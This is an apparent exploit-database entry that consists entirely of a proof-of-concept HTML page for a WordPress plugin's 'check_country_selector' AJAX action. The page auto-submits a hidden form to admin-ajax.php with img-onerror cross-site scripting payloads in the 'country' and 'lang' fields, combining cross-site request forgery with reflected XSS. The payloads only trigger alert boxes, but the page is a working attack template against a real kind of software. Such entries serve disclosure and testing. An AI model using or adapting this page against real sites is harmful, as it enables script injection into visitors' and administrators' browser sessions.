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## https://sploitus.com/exploit?id=WPEX-ID:6C5A4BCE-6266-4CFC-BC87-4FC3E36CB479
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php?action=check_country_selector" method="POST">
      <input type="hidden" name="country" value="<img+src=x+onerror=alert(/XSS-country/)>" />
      <input type="hidden" name="lang" value="<img+src=x+onerror=alert(/XSS-lang/)>" />
      <input type="hidden" name="site_locate" value="en-US" />
    </form>
  </body>
</html>